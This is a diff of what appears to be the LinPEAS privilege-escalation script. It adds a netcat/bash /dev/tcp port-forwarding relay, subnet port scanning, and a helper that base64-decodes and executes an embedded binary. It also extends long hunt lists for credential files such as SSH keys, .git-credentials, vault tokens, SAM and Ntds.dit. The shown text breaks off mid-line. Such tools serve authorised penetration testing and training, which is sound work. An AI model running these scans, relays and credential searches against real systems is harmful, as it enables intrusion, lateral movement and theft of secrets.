+cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" cronjobsB="centreon" -processesVB="jdwp|tmux |screen |--inspect|--remote-debugging-port" -processesB="knockd\|splunk" +processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' +processesB="knockd|splunk" processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" @@ -526,7 +555,8 @@ GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSys GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" -INT_HIDDEN_FILES=".bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pypirc|.rdg|.recently-used.xbel|.rhosts|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.timer|.vault-token|.viminfo|.vnc|.wgetrc" +INT_HIDDEN_FILES=".bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pypirc|.rdg|.recently-used.xbel|.rhosts|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.timer|.vault-token|.viminfo|.vnc|.wgetrc" + ########################################### #---------) Checks before start (---------# @@ -549,7 +579,17 @@ else fi fi -SCAN_BAN_BAD="No port scan capabilities (nc not found)" +SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" + +if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then + FOUND_BASH=$(command -v bash); +elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then + FOUND_BASH="/bin/bash"; +fi +if [ "$FOUND_BASH" ]; then + SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" +fi + FOUND_NC=$(command -v nc 2>/dev/null) if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v netcat 2>/dev/null); @@ -564,7 +604,7 @@ if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v nc.openbsd 2>/dev/null); fi if [ "$FOUND_NC" ]; then - SCAN_BAN_GOOD="$GREEN$FOUND_NC${BLUE} is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)" + SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" fi @@ -604,7 +644,7 @@ print_title(){ title=$1 title_len=$(echo $title | wc -c) - max_title_len=100 + max_title_len=80 rest_len=$((($max_title_len - $title_len) / 2)) printf ${BLUE} @@ -650,6 +690,10 @@ print_3title(){ printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" } +print_3title_no_nl(){ + printf ${BLUE}"\r══╣ $GREEN${1}..."$NC #There are 2 "═" +} + print_list(){ printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" } @@ -713,6 +757,23 @@ macosNotSigned(){ done } +execBin(){ + TOOL_NAME=$1 + TOOL_LINK=$2 + B64_BIN=$3 + PARAMS=$4 + if [ "$B64_BIN" ]; then + echo "" + print_3title "Running $TOOL_NAME" + print_info "$TOOL_LINK" + echo "$B64_BIN" | base64 -d > $Wfolder/bin + chmod +x $Wfolder/bin + eval "$Wfolder/bin $PARAMS" + rm -f $Wfolder/bin + echo "" + fi +} + ########################################### #---------) Internet functions (----------# ########################################### @@ -775,7 +836,11 @@ tcp_recon (){ for port in $PORTS; do for j in $(seq 1 254) do - ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then + $TIMEOUT 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi done wait done @@ -800,7 +865,11 @@ tcp_port_scan (){ fi for port in $PORTS; do - ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + if [ "$FOUND_BASH" ]; then + $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi done wait } @@ -887,6 +956,24 @@ discovery_port_scan (){ } +port_forward (){ + LOCAL_IP=$1 + LOCAL_PORT=$2 + REMOTE_IP=$3 + REMOTE_PORT=$4 + + echo "In your local machine execute:" + echo "cd /tmp; rm backpipe; mknod backpipe p;" + echo "nc -lvnp $LOCAL_PORT 0backpipe" + echo "" + echo "Press any key when you have executed the commands" + read -n 1 + + bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" + echo "If not error was indicated, your local port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" +} + + ########################################### #---) Exporting history env variables (---# ########################################### @@ -911,6 +998,11 @@ printf $LG"Hostname: "$NC hostname 2>/dev/null printf $LG"Writable folder: "$NC; echo $Wfolder + +if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then + printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; +fi + if [ "$DISCOVER_BAN_GOOD" ]; then printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" else @@ -918,12 +1010,12 @@ else fi if [ "$SCAN_BAN_GOOD" ]; then - printf $YELLOW"[+] $SCAN_BAN_GOOD\n$NC" + printf "$SCAN_BAN_GOOD\n$NC" else printf $RED"[-] $SCAN_BAN_BAD\n$NC" fi if [ "$(command -v nmap 2>/dev/null)" ];then - NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discover & port scanning, you should use it yourself" + NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" printf $YELLOW"[+] $NMAP_GOOD\n$NC" fi echo "" @@ -967,171 +1059,224 @@ elif [ "$IP" ]; then exit 0 fi +if [ "$PORT_FORWARD" ]; then + if ! [ "$FOUND_BASH" ]; then + printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; + exit 0 + fi -if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then - ########################################### - #----------) Caching Finds (--------------# - ########################################### + LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" + LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" + REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" + REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" - printf $GREEN"Caching directories "$NC + if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + exit 0 + fi + + #Check if LOCAL_PORT is a number + if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + #Check if REMOTE_PORT is a number + if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" + exit 0 +fi - #Get home - HOMESEARCH="/home/ /Users/ /root/ $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users" | tr "\n" " ")" - if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users"; then #If not listed and not in /home, /Users/ or /root, add current home folder +#Get HOMESEARCH +if [ "$SEARCH_IN_FOLDER" ]; then + HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" +else + HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" + if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder HOMESEARCH="$HOME $HOMESEARCH" fi - GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" +fi +GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" + + + + +########################################### +#----------) Caching Finds (--------------# +########################################### +if [ "$SEARCH_IN_FOLDER" ]; then + printf $GREEN"Caching directories "$NC CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES - FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"system-connections\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \"system.d\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" -o -name \"pam.d\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"ldap\" -o -name \"kube-proxy\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"kubelet\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_BIN=`eval_bckgrd "find /bin -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name 